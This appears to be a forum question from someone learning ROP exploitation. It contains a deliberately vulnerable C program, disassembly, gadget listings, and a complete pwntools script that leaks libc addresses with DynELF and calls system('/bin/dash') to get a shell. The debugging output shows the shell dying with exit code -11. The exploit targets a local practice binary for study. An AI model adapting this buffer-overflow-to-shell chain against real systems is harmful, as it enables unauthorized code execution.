It looks like a bug.
I am following an article(chinese language) to learn ROP.
Assumption: YOU DONT HAVE libc.so.
The system is i686 Ubuntu 15.04:
Linux vagrant 3.19.0-56-generic #62-Ubuntu SMP Thu Mar 10 22:39:28 UTC 2016 i686 i686 i686 GNU/Linux
The vulnerable program:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
DISAS:
(gdb) disas main
Dump of assembler code for function main:
0x0804840d <+0>: push %ebp
0x0804840e <+1>: mov %esp,%ebp
0x08048410 <+3>: and $0xfffffff0,%esp
0x08048413 <+6>: sub $0x10,%esp
0x08048416 <+9>: call 0x80483e4 <vulnerable_function>
0x0804841b <+14>: movl $0xd,0x8(%esp)
0x08048423 <+22>: movl $0x8048504,0x4(%esp)
0x0804842b <+30>: movl $0x1,(%esp)
0x08048432 <+37>: call 0x8048300 <write@plt>
0x08048437 <+42>: leave
0x08048438 <+43>: ret
End of assembler dump.
(gdb) disas vulnerable_function
Dump of assembler code for function vulnerable_function:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $0x98,%esp
0x080483ed <+9>: movl $0x100,0x8(%esp)
0x080483f5 <+17>: lea -0x88(%ebp),%eax
0x080483fb <+23>: mov %eax,0x4(%esp)
0x080483ff <+27>: movl $0x0,(%esp)
0x08048406 <+34>: call 0x8048320 <read@plt>
0x0804840b <+39>: leave
0x0804840c <+40>: ret
End of assembler dump.
ASLR:
$ cat /proc/sys/kernel/randomize_va_space
2
compile:
$ gcc -fno-stack-protector -o level2 level2.c
Addr of .bss:
[25] .bss NOBITS 0804a024 001024 000004 00 WA 0 0 1
gadgets:
$ ROPgadget --binary ./level2 --only "pop|pop|pop|ret"
Gadgets information
============================================================
0x0804850b : pop ebp ; ret
0x08048508 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804850a : pop edi ; pop ebp ; ret
0x08048509 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1
Unique gadgets found: 7
Addr of vulnerable_function:
(gdb) print vulnerable_function
$1 = {<text variable, no debug info>} 0x804844b <vulnerable_function>
the exploit: you see a leak
there using write@plt
to get the actual addr of write
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x804844b
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = process('./level2')
#p = remote('127.0.0.1', 10002)
d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
bss_addr = 0x0804a024
pppr = 0x08048509 # addr of pop pop pop ret
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(10)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()
print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/dash\0")
p.interactive()
And I got this:
[+] Started program './level2'
0x8048000 => 7f454c46
[+] Loading from '/home/vagrant/workspace/rop/level2': Done
0x804a004 => 383977b7
[+] Resolving 'system' in 'libc.so': 0xb7773938
0x8049f14 => 01000000
0x8049f1c => 0c000000
0x8049f24 => 0d000000
0x8049f2c => 19000000
0x8049f34 => 1b000000
0x8049f3c => 1a000000
0x8049f44 => 1c000000
0x8049f4c => f5feff6f
0x8049f54 => 05000000
0x8049f5c => 06000000
0x8049f64 => 0a000000
0x8049f6c => 0b000000
0x8049f74 => 15000000
0x8049f7c => 03000000
0x8049f80 => 00a00408
0xb777393c => 243c77b7
0xb7773c24 => 00000000
0xb7773944 => 283c77b7
0xb7773c2c => 943e77b7
0xb7773e94 => 00000000
0xb7773c34 => 58c874b7
0xb774c85c => 38c874b7
0xb774c838 => 2f6c6962
0xb774c83c => 2f693338
0xb774c840 => 362d6c69
0xb774c844 => 6e75782d
0xb774c848 => 676e752f
0xb774c84c => 6c696263
0xb774c850 => 2e736f2e
0xb774c854 => 36000000
0xb774c858 => 00a058b7
0xb758a000 => 7f454c46
0xb774c860 => a40d74b7
0xb758a004 => 01010103
0xb7740da4 => 01000000
0xb7740dac => 0e000000
0xb7740db4 => 0c000000
0xb7740dbc => 19000000
0xb7740dc4 => 1b000000
0xb7740dcc => 04000000
0xb7740dd4 => f5feff6f
0xb7740dd8 => b8a158b7
0xb7740ddc => 05000000
0xb7740de0 => 747459b7
0xb7740de4 => 06000000
0xb7740de8 => d4de58b7
0xb758a1b8 => f3030000
0xb758a1bc => 0a000000
0xb758a1c0 => 00020000
0xb758b390 => a5050000
0xb758d000 => 8ae4ee1c
0xb7593924 => a1300000
0xb759a515 => 73797374
0xb759a519 => 656d0074
0xb7593928 => 60b10300
system_addr=0xb75c5160
###sending payload2 ...###
[*] Switching to interactive mode
$ ls
[*] Got EOF while reading in interactive
$ ls
[*] Program './level2' stopped with exit code -11
[*] Got EOF while sending in interactive
It looks like something breaks the interactive mode. I typed two times ls
, then ENTER. When did I send EOF? And I could not find info about exit code -11.
UPDATED: The 140
is confirmed in a core dump using exploit-pattern